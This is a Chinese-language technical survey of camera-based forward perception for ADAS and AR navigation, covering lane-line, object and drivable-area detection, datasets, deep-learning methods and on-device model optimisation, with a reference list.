        ADAS有着几十年的发展历史。国内外都有一大批优秀的厂商。这几年,随着国家驾驶安全政策的推动和自动驾驶技术受到热捧,该领域出现了快速的增长。从老牌劲旅Bosch、Continental、Aptiv,Mobileye等,到一批相对年轻但很有竞争力的公司如Maxieye、Minieye、魔视、极目、纵目、Nauto等,这是一个既成熟,又充满机遇的市场。根据中投顾问的《2017-2021年中国汽车高级驾驶辅助系统(ADAS)市场深度调研及投资前景预测报告》,ADAS年复合增长率将达35%,2020年中国市场可实现近800亿市场空间。近几年,车载AR导航将传统的ADAS功能与导航功能、AR技术及HUD进行了融合,带来了更直观和人性化的用户体验,成为了市场的热点。在实现方式上,各家在传感器配置上也各有不同,有摄像头、毫米波雷达、激光雷达等。其中,基于摄像头的视觉方案由于其成本可控、算法成熟等优点,使用最为广泛。其中的主要代表如Mobileye和Tesla Autopilot都是主要基于视觉的方案。


        image.png
        图 1 Tesla Autopilot (来自https://www.youtube.com/watch?v=24dRkHdpEPo)
        image.png
        图 2 Mobileye (来自https://www.mobileye.com/our-technology/)

        虽然ADAS细分功能众多,但很多功能功能(LDW,FCW,LKA,ACC等)都依赖于对前方环境中几个基本对象的检测和识别,即车道线、物体(包括车辆、行人、障碍物、交通灯、交通标识等)、可行驶区域,因此本文也会主要聚集在这几类对象的检测识别上。在准确率上,各家的产品往往很难量化及横向比较,尽管大家的宣传中常会出现“准确率>XX%”或者“误报率/漏报率

        在学术界,自动驾驶一直是经久不衰的热点之一。这些方法上的创新很多同样也可以用于ADAS和AR导航中。我们知道,2012年以来深度学习的快速发展使其成为机器学习中的绝对主流。基于深度学习的方法同样也给自动驾驶带来了巨大变革。基于传统CV算法的方法在泛化能力上容易遇到瓶颈。经常是在一段路段调优跑溜后,换一段路又需要大量调参。当然,基于深度学习的方法也无法完全避免这个问题,但可以说是大大缓解了。学术界的优点就是较为透明公开、且容易对比。新的方法就是需要在与其它方法比较中才能证明其优异,因此历史上通过竞赛的方式来推动发展的例子不在少数。2004年开始,由DARPA主办的几场无人车挑战赛开启了无人车的新时代。在深度学习时代,各种针对路面环境检测识别的榜单就如同ImageNet一样,催生出一大批新颖的方法。其中针对车道线、物体和可行驶区域的比较典型的有:

        • KITTI:2013年由德国卡尔斯鲁厄理工学院和丰田美国技术研究院联合创办,是一套非常全面的算法评测数据集。其中覆盖了2D、3D物体检测,物体跟踪,语义分割、深度估计等多种任务。但其数据集数量在现在看起来不算多,如物体检测数据集训练集和测试集总共1W5张左右 ,车道检测就比较尴尬了,只有几百张。
        • CVPR 2017 TuSimple Competitions:2017年图森未来主持的挑战赛,分车道线检测和速度估计两个任务。其中车道线检测数据集包含了几千张主要是高速上的数据。虽然量不多,但因为和物体检测这类通用任务相比,针对车道线检测的竞赛很少,所以它至今在很多车道线检测的论文上还会被当成量化比较的重要参考。
        • CVPR 2018 WAD:由Berkeley DeepDrive主持,包含三项赛事:道路物体检测,可行驶区域分割和语义分割的域适应。它基于BDD100K数据集。这是一个在数量和多样性上都非常不错的用于自动驾驶的数据集。其中用于物体检测和可行驶区域分割的数据集共有10W张左右,其中训练集和验证集有约8W张 。
        • Cityscapes:针对道路环境的经典语义分割数据集,同时也提供了语义分割、实例分割和全景分割任务的榜单。数据集采自50个城市,包含了5K张精细标注图片和2W张较粗糙标注图片。考虑到语义标注的成本相对大,这个数量已经算比较大了。

        其它的榜单还有很多,无法一一列举。虽然由于大多榜单只关注准确率导致其模型很难直接落到产品中,但其中确实也出现了非常多精巧的方法与创新的想法,为产品落地提供了有价值的参考。关于具体的方法我们留到后面专门章节进行讨论。

        还有一些介于工业界与学术界之间的工作,它们将学术界的成果向产品逐渐转化,提供了参考实现。比较典型的有开源自动驾驶项目Apollo和Autoware。因为它们主要面向无人驾驶,所以会除了摄像头之外,还会考虑激光雷达、毫米波雷达、高精地图等信息。由于本文的scope,这里只关注基于摄像头的对基础对象的检测。Apollo 2.5中采用的是一个多任务网络检测车道线与物体(之前读代码的一些笔记:自动驾驶平台Apollo 2.5阅读手记:perception模块之camera detector ),对于车道线模型会输出像素级的分割结果,然后通过后处理得到车道线实例及结构化信息(相关代码阅读笔记:自动驾驶平台Apollo 3.0阅读手记:perception模块之lane post processing);物体检测是基于Yolo设计的Yolo 3D,除了输出传统的2D边界框,还会输出3D物体尺寸及偏转角。版本3.0(官方介绍:perception_apollo_3.0)中加入了whole lane line特性,提供更加长距的车道线检测。它由一个单独的网络实现。3.5中将物体与车道线检测网络彻底分离,车道线模型称为denseline。最新的5.0(官方介绍:perception_apollo_5.0)中又引入DarkSCNN模型,它基于Yolo中的backbone Darknet,并引入了Spatial CNN(后面再介绍),同时该网络中还加入了对灭点的检测。Autoware中车道线用的是传统CV的方法,物体检测基于摄像头部分使用的是SSD和YOLO等基于深度学习的方法(官方介绍:Overview)。

        3. 方法

        我们知道,深度学习有三大基石:数据、算法和算力。对于基础前视感知场景,我们也从这三个维度来聊一下。在此之前,我们先列下本文关注的单目基础感知主要流程:


        image.png
        图 3 基础前视感知简要流程

        从图片流输入,大致经历预处理、检测模型推理和后处理三个阶段:

        • 预处理:这一阶段主要是做必要的数据处理,为后面的检测准确好数据。如一些摄像头进来的视频流是YUV格式,而深度神经网络模型输入多是RGB格式,需要进行转换。此外,很多模型会要求输入数据作归一化。另外,为了减少计算量,一般还会对输入的图像进行缩放和ROI的提取。
        • 检测模型推理:这一阶段主要是做深度神经网络的推理。对于要同时完成多个任务的场景,我们一般会使用多任务网络。即每个任务对应一个网络分支输出,它们共享用于特征提取的backbone(按经验很多时候backbone会占大部分的计算量)。近年学术界也出现一些对不同类型任务比较通用的backbone结构。
        • 后处理:这一阶段是将前面推理得到的结果进行进一步的处理,以传到后面的决策或展示模块。常见的对于车道线需要滤除噪点,聚类,曲线拟合,滤波(如Kalman filter)等;对物体检测常见的有非极大值抑制(NMS)和跟踪等;对可行驶区域,需要将分割结果转为多边形并确定其位置类别。

        注意这里只画了简化的部分流程。实际场景中,可能还需要考虑非常多其它元素,比如:

        • 相机标定(Camera calibration):我们在学车考“S弯”或者“单边桥”等项目时,教练往往会告诉我们一些小技巧,如通过雨刮器的位置来估计轮胎的位置。这种技巧其实比较脆弱,因为座椅的调整,人的高矮都会影响其精确度。那在ADAS/AD场景中如何告诉机器以高精度做这件事呢,就是通过相机校准。这本质是做图像坐标和世界坐标之间的转换。另外,有了校准参数,我们还可以用它做逆透视映射(IPM),消除透视带来的影响,方便车道线检测及物体跟踪等模块。
        • 光流(Optical flow):每一帧都检测会带来很大的计算开销。有时我们会通过光流算法来计算图像中像素点的瞬时速度,从而估计已检测对象在当前帧的位置。这样一方面能有效减少计算量,另一方面还能用于物体的跟踪。
        • 灭点(Vanishing point):我们知道,由于透视关系,平行的线(如车道线)在远处会交到一点,称为消失点或灭点。这个点对于车道检测或最后的可视化都有帮助。在直线的情况下,我们可以通过车道线的交点来估计灭点,但如果车道线是不太规则的曲线,就比较麻烦,需要通过更复杂的方法进行估计。
        • 测距:不少ADAS功能中都需要确定前方物体的距离。常用毫米波和超声波雷达做距离检测。而在纯视觉方案中,双目方案是根据视差来估计距离,原理就像人的两只眼睛一样。而对于单目方案就比较tricky一些,需要检测物体后根据物体下边界结合相机标定计算距离。现在虽然有基于单张图像的深度估计方法,但那个本质上是靠的训练所获得的先验,用作ADAS里的FCW啥的感觉还是精度不太够。
        • 3D姿态估计(3D pose estimation):高级点的前视感知对物体检测除了边界框,还会估计其姿态。这对动态障碍物的行为预测非常有帮助。
        • 细粒度识别(Fine-grained recognition):对于一些识别的物体,如果它们的类别会影响到驾驶行为(如交通灯、交通标志、车道线等),则我们需要将检测结果中相应部分拿出来进一步对其进行分类识别。
        • 决策和展示:所有的检测都是为了最后的决策和展示。如何自然地显示(如通过AR展示的话如何与现实物体贴合),以及何时预警或介入控制都直接影响用户体验。

        另外可能还需要检测路面上的指示标记,以及对当前场景是否支持作检测判断等等。由于篇幅有限和使内容简洁,这些本文都暂不涉及。检测对象上本文主要关注车道线、物体和可行驶区域。

        3.1 数据

        我们知道,深度学习的最大优势之一就是能对大量数据进行学习。这就意味它的效果很大程度上依赖于训练的数据量,而对于汽车的前视感知更是如此。因为汽车的环境是开放的,没有充分而多样的数据,模型便无法有效地泛化,那在各种corner case就可能出岔子。对于其它场景出岔也就出岔了,对AD或者ADAS来说那可能就危及生命安全了。数据集大体有两类来源,一类是公开数据集;一类是自标数据集。它们各自有优缺点。

        得益于自动驾驶领域的蓬勃发展,近年来出现了很多优质的公开数据集。

        • 包含车道线的主要有BDD100K,CULane,TuSimple Lane Challenge和LLAMAS等。
        • 包含物体检测的太多了,貌似是个道路环境数据集就会有。如BDD100K,KITTI,Udacity Driving Dataset, Waymo Open Datasets等。
        • 包含可行驶区域的有BDD100K,KITTI等。虽然理论上语义分割的数据集(如Cityscapes)就包含了可行驶区域的标注,但比较理想的标注还应该区分当前车道和相邻车道。

        其它的还有不少数据集,网上有很多列表整理,这里就不重复了。虽然这些数据集很丰富,但有时未必能直接用上。一方面是它们的标注之间有很大差异。其中一个差异点是标注格式,这个其实还好办,脚本基本能搞定。比较麻烦的是有时候标注的规范和内容会有出入。以车道线为例:有些是采用双线标法(如BDD100K),有些是单线标法(如CULane,TuSimple Lane Challenge);有些是标有限条(如CULane),有些是有多少标多少(如BDD100K);有些对于虚线是像素级精确标注(ApolloScape),有些是会将它们“脑补”连起来(CULane);有些标了车道线类型(BDD100K),有些没有标(CULane)。而对于车辆和行人来说,不同数据集有不同的细分类。但本着人家标注也不容易,能用上一点是一点的精神,可以尽可能地对它们进行转化,使它们一致并满足特定需求。举例来说,BDD100K中是双线标注,而其它多数是单线标。为了统一,我们可以通过算法自动找到匹配的线并进行合并。自动合并效果如下:


        image.png
        image.png
        图 4 BDD100K数据集车道线标注自动转换

        公开的数据集虽然方便且量大,但往往没法完全满足需求。比如由于地域差异、摄像头差异等会导致domain shift问题,另外有些针对性的case没法覆盖。公开数据集另一个问题是license。很多的公开数据集只能作研究用途,如果要商业用途是禁止或者需要专门再购买license的。因此,实际中往往还是需要请外包或自己标数据。

        另外,为了获得更大量更多样的数据,业界有一些常用方法和方向,如:

        • 数据增强(Data augmentation):最基本也很有效的扩充数据集手段之一,在车辆环境中尤为重要。由于道路环境数据集需要多样化,因此我们需要通过数据增强来模拟不同的光照、天气、视角等变化。
        • 自动标注/辅助标注:虽然移动端上由于算力有限,我们只能牺牲准确率布署轻量级的网络,但我们可以训练重量级的精度较高的网络模型用于对数据进行自动标注。以下是一个重量级网络(不是SOTA的)在BDD100K上训练后的检测效果。虽然不是十全十美,但在有些小目标上可能比老眼昏花的我还要标得凑合。就算无法完全替代人肉标注也可以作为辅助有效减少人工。

        image.png
        图 5 某重量级网络在BDD100K数据集上检测效果(左:检测结果;右:Ground truth)

        • 仿真器:利用仿真器来帮助自动驾驶测试似乎已经是一个普遍性做法了。随着3D图形技术和硬件的飞速发展,今天仿真器中的渲染效果已相当逼真,已经不像当年赛车游戏里车后冒个烟还是“马赛克”效果。因此,仿真器也有望用于产生可用于训练的数据。
        • 生成对抗网络(GAN):我们知道,GAN是最近几年非常火热的一个方向。GAN也在一些工作中用于训练数据的生成。虽然目前很多时候是看demo各种牛,但实际跑的时候可能就不是很理想。但不可否认这是一个很有前途的方向,不少工作应用它来缓解数据多样化需求的问题。

        3.2 算法

        针对前视感知中的几类目标,算法是不同的。另一方面,我们知道深度学习的视觉领域研究比较多的任务是:图片识别、物体检测、图像分割(包括语义分割、实例分割、全景分割)。那么问题来了,如何将对现有任务的方法充分应用来满足前视感知的需求?如果实在不合适如何调整?

        3.2.1 车道线

        首先是车道线检测,这可能是几类检测目标中最特殊的,所以占的笔墨也会相对多些。它的特点是形状狭长(可能跨越大半张图片),并且形态多变(可能是直线也可能是曲线,还可能交叉等),容易与路面标识混淆,另外还需要区分实例。现有物体检测的方法不太适合这种形状的东西。我们知道,在深度学习占领视觉领域前,车道线检测多采用传统CV的方法。Udacity(其联合创始人Sebastian Thrun是自动驾驶界大神)上有一个自动驾驶课程。其中有作业就是车道线检测,因此网上有很多这个作业的实现。其中比较关键的几步是通过边缘检测算法(如Canny,Sobel算子)得到边缘,然后通过Hough transform检测直线(如果假设车道线为直线),或者经过IPM得到鸟瞰视图后通过滑窗搜索得到车道线上的像素点,最后多项式曲线拟合输出。这里边几乎每一步都有不少参数,而且各步相互影响,如果场景很多样化的话调参就可能会比较酸爽,另一方面它对于车道线不完整的情况(如因遮挡或磨损)表现不好。因此,这已经不是目前的主流,后面业界逐渐过渡到基于深度学习的方法。

        2015年,深度学习风头正劲,Stanford、Twitter等机构联合发表的论文讨论了将CNN应用到高速环境的车道线和车辆检测中[1]。它使用当时物体检测的方法[2]来检测车道线。因为车道线很长条,因此被分成多个线段,每个线段被当成物体来检测。最后通过DBSCAN进行聚类得到车道线实例。同期另外一条思路是将车道线检测当作语义分割任务。当时语义分割领域有了FCN[3]、SegNet[4]和DeepLab[5]等早期经典网络。结合一些包含车道线标注的语义分割数据集便可以进行车道线检测。如论文[6]试图将包括车道线在内的多种检测任务在分割任务中一把搞定。然而故事还远没有结束,这里还存在以下两个比较大的挑战,接下去几年的工作也是主要围绕这两点来展开:

        • 繁琐的后处理:现实中我们为了后面的决策还需要知道哪条是当前车所在车道(Ego lane)的左、右车道线和相邻车道的车道线。另外,因为车道线往往不完整,因此还需要得到车道线的结构化表示(如多项式或样条曲线)以便做插值。这样,单就语义分割的结果还不够。以往常见的做法是将分割结果进行聚类得到实例,然后通过一些后处理判断其是哪条车道。另外,为了得到结构化表示还需要对这些点进行多项式拟合等操作。理想的方法是简化或完全去除这些后处理,实现真正意义上end-to-end的检测。
        • 复杂的环境:路面环境复杂常常导致图像中的车道线残缺不全。如天气因素,其它车辆遮挡,阴影和光照,磨损等等。另外的一个比较大的干扰来自于地面上的箭头指示和汉字,仅看局部图像的话人也难以区分。因此如果无法有效利用全局上下文信息很难对它们进行排除。对这些因素做到足够鲁棒是通往实用产品的必要条件。

        来自三星的论文[7]将车左右两条车道线作为两个类别(加上背景共三类),从而直接通过神经网络来学习,相当于做了实例分割,从而简化了后处理。

        2017年TuSimple主办了车道线检测竞赛,炸出不少好的方法,同时也成为了车道线检测的重要benchmark之一。第一名来自香港中文大学,它也是基于语义分割来做,并针对车道线这种狭长的物体提出了Spatial CNN(SCNN)[8]来替代MRF/CRF来对空间关系进行建模。另一个比较有意思的点是当时竞赛提供的数据集才几千张(标注图片约3.6K),因此数据可能会成为主要瓶颈之一,于是他们整了一个大规模的车道线的数据集CULane。该数据集共有13W多张。它比较贴近现实情况,涵盖了白天、晚上、拥堵、阴影、光照过亮等9种场景。对于车道线的实例区分问题,SCNN由于限定最多检测4条车道线,因此它可以把4条车道线当4类物体来检测。同时,网络还有一个专门的分支用于预测对应的车道线是否存在。这样便不需要聚类来提取实例。当时的第二名来自佐治亚理工(Georgia Institute of Technology) 等机构。他们提出的方法[9]可以解决只能处理有限车道线的问题。它利用像素对之间的关系,通过对目标函数的巧妙构造,让神经网络学习像素的聚类信息。并且可以拓展到(理论上)无穷实例的场景。

        2017年韩国KAIST和三星提出了VPGNet[10]。它是一个多任务网络,其中一个分支用于预测灭点,它可以引导车道线的检测。这在一些恶劣的天气下可以有比较大的帮助。但这需要额外标注的数据集。论文中提到他们建立了自己的数据集但没有公开。

        2018年,鲁汶大学(KU Leuven)的论文提出LaneNet[11],它将车道线检测作为一个实例分割问题。以前很多方法对于提取车道线实例是用聚类,而对于车道线这种狭长的物体很难定义一个好的距离测度用于聚类。这篇论文的最大特色就是在传统语义分割分支外还加了一个pixel embedding分支,用于对输入图像中的每个点得到其N维的embedding,这个分支是基于其实例信息训练的。语义分割输出的像素结合pixel embedding信息,作聚类后便可得到车道线的实例信息,最后通过多项式拟合输出。鲁汶大学这个团队次年在论文[12]中把预测曲线与ground truth曲线间的面积作为损失函数,将拟合改造成可微分操作,从而让神经网络来学习拟合曲线的参数。前面LaneNet这篇论文另一个比较有特色的点是H-Net。IPM有利于车道线的多项式拟合。因为大多数弯曲的车道线在鸟瞰视图下用二次曲线就够了,但在透视视图下却需要更高阶曲线才能拟合。而这个变换的参数一般需要通过相机标定。但是这个参数可能根据地形、坡道因素不同。因此最好可以根据输入动态调整。H-Net采用通过神经网络来预测的方式。这条思路上类似的工作还有来自2018年GM的3D-LaneNet[13]。该方法以end-to-end方式直接预测3D的车道线。网络采用dual-pathway结构。一条对应普通透视图,估计逆透视变换参数。该参数结合前面的feature map与另一条对应鸟瞰视角的网络中feature map结合,最终输出3D车道线。不过毕竟带3D车道线标注的数据集不好弄,于是他们自己搞了个高速场景下的合成数据集作了实验。因此该方法在真实场景下的效果还需要进一步验证。

        我们知道,注意力(Attention)机制是深度学习这几年很火的主题,它在视觉领域也有不少的应用。今年由香港中文大学等机构发表的论文[14]提出了Self Attention Distillation(SAD)方法。它基于注意力蒸馏(Attention distillation)的思想,将之改造为自蒸馏,从而不依赖传统知识蒸馏中的teacher model。网络中后面的层的feature map(具有更丰富上下文信息)作为监督信息帮助前面的层训练。前面的层学到更好的表征后又会改善后面的层,构成良性循环。

        3.2.2 道路物体

        然后是物体检测,这块的算法可以说是相当丰富。因为物体检测的应用范围非常广,因此它几乎伴随着计算机视觉领域的发展。相关的survey很多(如[15],[16]等)。深度学习兴起后,一大波基于深度神经网络的物体检测算法被提出。SOTA以极快的速度被刷新。从two-stage方法到轻量的one-stage方法,从anchor-based方法到近年很火的anchor-free方法,从手工设计到通过自动神经网络架构搜索,琳琅满目,相关的总结与整理也非常多。

        对于道路环境来说,几乎和通用物体检测算法是通用的。如果要找些区别的话,可能汽车前视图像中,由于透视关系,小物体会比较多。2018年CVPR WAD比赛其中有一项是道路环境物体检测。第一名方案来自搜狗,根据网上介绍(给机器配上“眼睛”,搜狗斩获CVPR WAD2018挑战赛冠军),其方案在Faster R-CNN的基础上使用了CoupleNet,同时结合了rainbow concatenation。第二名方案来自北京大学和阿里巴巴,提出了CFENet[17]。经典的one-stage物体检测网络SSD在多个scale下的feature map进行预测,使得检测对物体的scale变化更加鲁棒。小目标主要是通过浅层的较大feature map来处理,但浅层特征缺乏包含高层语义的信息会影响检测效果。CFENet针对前视场景中小物体多的特点对SSD进行了改进,在backbone后接出的浅层上加入CFE和FFB网络模块增强浅层特征检测小目标的能力。

        现实应用中,物体检测模型的输出还需要经过多步后续的处理。其中比较常见和重要的是NMS和跟踪:

        • 神经网络模型一般会输出非常多的物体框的candidate,其中很多candidate是重叠的,而NMS的主要作用就是消除那些冗余的框。这个算子很多的推理框架不支持或支持不好,所以一般会放到模型推理外面作为后处理来做。在学术界NMS这几年也出现了一些可以提高准确率的变体。
        • 跟踪是理解物体行为的重要一环。比如帧1有车A和车B,帧2有两辆车,我们需要知道这两辆车哪辆是A,哪辆是B,或都不是。只有找到每个物体时间维度上的变化,才能进一步做滤波,以及相应的分析。比较常见的多物体跟踪方法是SORT(Simple Online and Realtime Tracking)框架[18],或许它的准确率不是那么出众,但综合性能等因素后还是不错的选择,尤其是对于在线场景。结合通过CNN提取的外观特征(在DeepSORT[19]中采用)和Kalman filter预测的位置定义关联度的metric,将帧间物体的跟踪作为二分图匹配问题并通过经典的匈牙利算法求解。前后帧物体关联后通过Kalman filter对状态进行更新,可以有效消除检测中的抖动。

        3.2.3 可行驶区域

        再来说下可行驶区域。开过车的同志们都知道咱们的很多路没有那么理想的车道线,甚至在大量非结构化道路上压根儿就没有车道线。在这些没有车道线、或者车道线不清晰的地方,可行驶区域就可以派上用场。一般在可行驶区域中我们需要区分当前车道和其它车道,因为该信息对后面的决策规划非常有价值。

        在这个任务上早期比较流行的榜单是KITTI的road/lane detection任务。很多论文都是拿它作benchmark,其榜单上有一些是有源码的。不过那个数据量比较少,多样化程度也不够,要用它训练得泛化能力很强实在比较勉强。

        2018年CVPR WAD比赛中一个专项是可行驶区域检测。所用的BDD100K数据量相比丰富得多。当时的冠军方案是来自香港中文大学的IBN-PSANet。它的方案是结合了IBN-Net[20]和PSANet[21]。前者主要特色是结合了batch normalization(BN)和instance normalization(IN)。BN几乎是现代CNN的标配。它主要用于解决covariate shift问题,提高训练收敛速度;而IN可以让学习到的特征不太受像颜色、风格等外观变化的影响。而结合了两者的IBN可以吸收两者的优点。而PSANet的特色主要是提出了PSA结构,它本质是一种注意力机制在视觉上的应用。对于每一个像素,网络学习两个attention mask,一个对应它对其它每个像素的影响,一个对应其它每个像素对它的影响,从而使得分割可以充分考虑全局上下文信息。

        可行驶区域检测中对于语义分割的输出比较粗糙,且形式不易于后面模块处理,因此还需要经过一些简单的后处理。比如先聚类,再计算各类簇的凸包,最后通过这些多边形的位置关系便可以确定它们是当前车道还是其它车道的可行驶区域。

        值得一提的是,可行驶区域和车道线语义上是非常相关的,因此可以通过相互的几何约束来提高准确率。业界也有不少这方面的尝试,越来越多的深度神经网络将它们进行融合。

        3.3 优化

        从算法到产品最大的鸿沟之一便是性能优化。移动端设备有限的算力正在与多样化算法的算力需求形成矛盾。这在之前写的文章《浅谈端上智能之计算优化》中进行过初步的讨论。对于像ADAS这样的场景实时性尤其重要。我们可以从文中提及的几个角度进行优化。

        首先,在网络设计上我们在backbone上可以选择这几年经典的轻量级网络(如MobileNet系[22], [23],ShuffleNet系[24], [25],EfficientNet[26]等)。这些网络一般在计算量上比重量级网络有数量级上的减少,同时又可以保持准确率不损失太多。另一方面,对于多个检测任务,由于输入相同,我们一般会使用多分支的网络结构。每个任务对应一个分支(head),它们共享同一个用于特征提取的backbone。按经验来说,这个backbone占的计算一般会比较大,因此这样可以节省下相当可观的计算开销。但是这样的多任务多分支网络会给训练带来困难。最理想的当然是有全标注的数据集,但这样的数据集比较难获得。对于这个问题,我们可以采取两种方法:一种是如前面提的,靠重量级高准确率网络自动标注。如训练高准确率的物体检测模型给已有车道线标注的数据集进行标注;另一种就是对带特定标注的数据输入,训练对应的部分(backbone和相应的head)。

        对于给定网络结构,我们可以通过模型压缩进一步减少计算量。因为普遍认为推理时不需要训练时那样复杂的模型和高的精度。模型压缩有很多种方法,有量化、剪枝、知识蒸馏、低轶分解等等。常用的方法之一是量化。一般来说,将FP32转为FP16是一种既比较安全收益又比较大的做法,然而在一些低端设备上我们还需要作更低精度(8位或以下)的量化。这时就得花更多精力在准确率损失上了。量化又分为post-training quantization和quantization-aware training。前者使用方便,不需要训练环境,最多需要少量(几百张)数据集作为量化参数calibration之用,但缺点是会对准确率损失较大;而后者,需要在训练时插入特殊的算子用于得到量化所用参数及模拟量化行为。另一种常用的压缩方法是网络剪枝。根据网络模型的敏感度分析,一些层稍作裁剪可能就会有大的准确率损失,而另一些层进行裁剪则准确率损失不大,甚至还会使准确率上升。这就给了我们简化模型从而减少计算量的机会。低轶分解本质上是通过对矩阵的近似来减少矩阵运算的计算量。知识蒸馏是一种很有意思的方法,就像现实中的老师教学生,通过teacher model来帮助训练student model。

        网络模型敲定后,就需要考虑性能优化。深度的优化是离不开硬件的考虑的。对于一些用于自动驾驶的计算平台,可能直接就上像Nvidia的PX2这样的高性能硬件平台了。但对于普通车规硬件平台,肯定是扛不住这种成本的。这些常规车机平台中一些稍高端的会有几百GFLOPS的GPU处理能力,或其它DSP,NPU等计算硬件。这里我们一般会首选这些硬件做模型推理而非CPU。因为如果将这些计算密集型任务往CPU放,会和系统中其它任务频繁抢占资源导致不稳定的体验。而对于低端一些的平台GPU基本只够渲染,那只能放到CPU上跑,一般会用上面提到的量化方法将模型转为8位整型,然后将推理绑定到固定的核上以防止影响其它任务。推理引擎有两类选择。对于一些有成熟推理引擎的硬件平台,使用厂商的引擎(如Intel有OpenVINO,高通有SNPE)通常是一个方便快捷的选择;还有一种方法就是用基于编译器的推理引擎,典型的如TVM。它以offline的方式将网络模型编译成可执行文件并可进行自动的执行参数优化。至于哪个性能好,通常是case-by-case,需要尝试。值得注意的是,上面选取的轻量型网络一般是memory-bound的,因此优化时需要着力优化访存。

        如果平台上有多种可以执行神经网络算子的硬件,如CPU、GPU、NPU、DSP,那可以考虑通过异构调度来提高硬件利用率,从而达到性能的优化。现在业界已有不少的异构计算框架,如ONNXRuntime,Android NN runtime等。这里面,最关键核心的问题在于调度。对于单个网络模型而言,先要对网络进行切分,然后分配到最合适的硬件上,然后在每个硬件上进行本地调度。难点在于这个调度是NP-hard的,意味着对于实际中大规模问题,不可能在合理时间找到最优解,而要找到尽可能优的近似解是门大学问。业界出现了大量的方法,如精确算法、基于启发式策略、元启发式搜索和机器学习的方法。对于前视感知任务中的多分支模型,一个最简单而有效的做法就是将backbone以及各个head的分支作为子图进行切分和调度。如果要得到更优的调度,则可以进一步尝试基于搜索和学习的方式。

        4. 小结

        前视感知领域是一个小打小闹容易但做好非常难的东西。它需要长期的沉淀才能构建起核心竞争力和技术壁垒。我们看到今天行业龙头Mobileye独领风骚,但少有人看到它在早期的执着。Mobileye创立于1999年,但到2007年才开始盈利。类似的还有谷歌的无人驾驶车(差不多10年了),波士顿动力的机器人(貌似27年了),还有许许多多这样“耐得住寂寞”的公司。即使最后失败,相信也会滋养出更大的辉煌。而一旦成功,便能奠定绝对的市场地位,让其它竞争者难望其项背。

        可以看到,学术界的成果和产品之间还有不小的鸿沟。当然其中的因素有很多,如成本、功耗等等,而其中最关键的因素之一是性能。传统的方式很多时候会算法管算法,整好后拿去优化,相互独立,最多整几轮迭代。而今天我们看到,两者需要越来越多地相互融合,共同演进。通过hardware-software co-design才能打造和打磨出更加完美的产品。它需要算法设计中便考虑对于特定平台硬件上的友好性。举例来说,为了更好的部署,网络设计时最好就要考虑哪些算子在目标平台上能被较好地加速;同时训练时加入特定的元素以便于后面的模型剪枝和量化。如果等吭哧吭哧训练了几周,模型都出来了再考虑这些问题就可能会带来巨大的成本。近几年大热的AutoML中的自动神经网络架构搜索(NAS)现在也越来越多地朝着hardware/platform-ware的方向发展。

        最后,车辆环境感知中,数据的长尾问题是摆在AD/ADAS面前最大的问题。车辆环境是个开放环境,路上可能碰到任何无法预想的东西。2016年兰德智库指出自动驾驶系统需要进行110亿英里的测试才能达到量产应用条件。显然,这不是几辆车上路满大街跑能搞得定的,传统的测试手段已捉襟见肘。当然,对于ADAS这类驾驶辅助类功能要求会低一些,但本质上面临的问题是类似的。传统的汽车功能安全标准已经无法涵盖这类问题。虽然现在有针对性的预期功能安全(SOTIF)标准正在起草,但其可操作性和有效性还有待验证。总得来说,汽车的智能化给测试验证提出了非常有趣同时也是前所末有的挑战。

        参考资料

        1] B. Huval et al., “An Empirical Evaluation of Deep Learning on Highway Driving,” CoRR, vol. abs/1504.01716, 2015.
        [2] C. Szegedy, A. Toshev, and D. Erhan, “Deep Neural Networks for Object Detection,” in Advances in Neural Information Processing Systems 26, 2013, pp. 2553–2561.
        [3] E. Shelhamer, J. Long, and T. Darrell, “Fully Convolutional Networks for Semantic Segmentation,” CoRR, vol. abs/1605.06211, 2016.
        [4] V. Badrinarayanan, A. Handa, and R. Cipolla, “SegNet: A Deep Convolutional Encoder-Decoder Architecture for Robust Semantic Pixel-Wise Labelling,” CoRR, vol. abs/1505.07293, 2015.
        [5] L.-C. Chen, G. Papandreou, I. Kokkinos, K. Murphy, and A. L. Yuille, “DeepLab: Semantic Image Segmentation with Deep Convolutional Nets, Atrous Convolution, and Fully Connected CRFs,” CoRR, vol. abs/1606.00915, 2016.
        [6] E. Romera, L. M. Bergasa, and R. Arroyo, “Can we unify monocular detectors for autonomous driving by using the pixel-wise semantic segmentation of CNNs?,” CoRR, vol. abs/1607.00971, 2016.
        [7] J. Kim and C. Park, “End-To-End Ego Lane Estimation Based on Sequential Transfer Learning for Self-Driving Cars,” in 2017 IEEE Conference on Computer Vision and Pattern Recognition Workshops (CVPRW), 2017, pp. 1194–1202.
        [8] X. Pan, J. Shi, P. Luo, X. Wang, and X. Tang, “Spatial As Deep: Spatial CNN for Traffic Scene Understanding,” ArXiv E-Prints, Dec. 2017.
        [9] Y.-C. Hsu, Z. Xu, Z. Kira, and J. Huang, “Learning to Cluster for Proposal-Free Instance Segmentation,” CoRR, vol. abs/1803.06459, 2018.
        [10] S. Lee et al., “VPGNet: Vanishing Point Guided Network for Lane and Road Marking Detection and Recognition,” CoRR, vol. abs/1710.06288, 2017.
        [11] D. Neven, B. De Brabandere, S. Georgoulis, M. Proesmans, and L. Van Gool, “Towards End-to-End Lane Detection: an Instance Segmentation Approach,” ArXiv E-Prints, Feb. 2018.
        [12] B. D. Brabandere, W. V. Gansbeke, D. Neven, M. Proesmans, and L. V. Gool, “End-to-end Lane Detection through Differentiable Least-Squares Fitting,” CoRR, vol. abs/1902.00293, 2019.
        [13] N. Garnett, R. Cohen, T. Pe’er, R. Lahav, and D. Levi, “3D-LaneNet: end-to-end 3D multiple lane detection,” CoRR, vol. abs/1811.10203, 2018.
        [14] Y. Hou, Z. Ma, C. Liu, and C. Change Loy, “Learning Lightweight Lane Detection CNNs by Self Attention Distillation,” ArXiv E-Prints, p. arXiv:1908.00821, Aug. 2019.
        [15] Z. Zou, Z. Shi, Y. Guo, and J. Ye, “Object Detection in 20 Years: A Survey,” CoRR, vol. abs/1905.05055, 2019.
        [16] X. Wu, D. Sahoo, and S. C. H. Hoi, “Recent Advances in Deep Learning for Object Detection,” ArXiv E-Prints, p. arXiv:1908.03673, Aug. 2019.
        [17] Q. Zhao, T. Sheng, Y. Wang, F. Ni, and L. Cai, “CFENet: An Accurate and Efficient Single-Shot Object Detector for Autonomous Driving,” ArXiv E-Prints, Jun. 2018.
        [18] A. Bewley, Z. Ge, L. Ott, F. Ramos, and B. Upcroft, “Simple Online and Realtime Tracking,” CoRR, vol. abs/1602.00763, 2016.
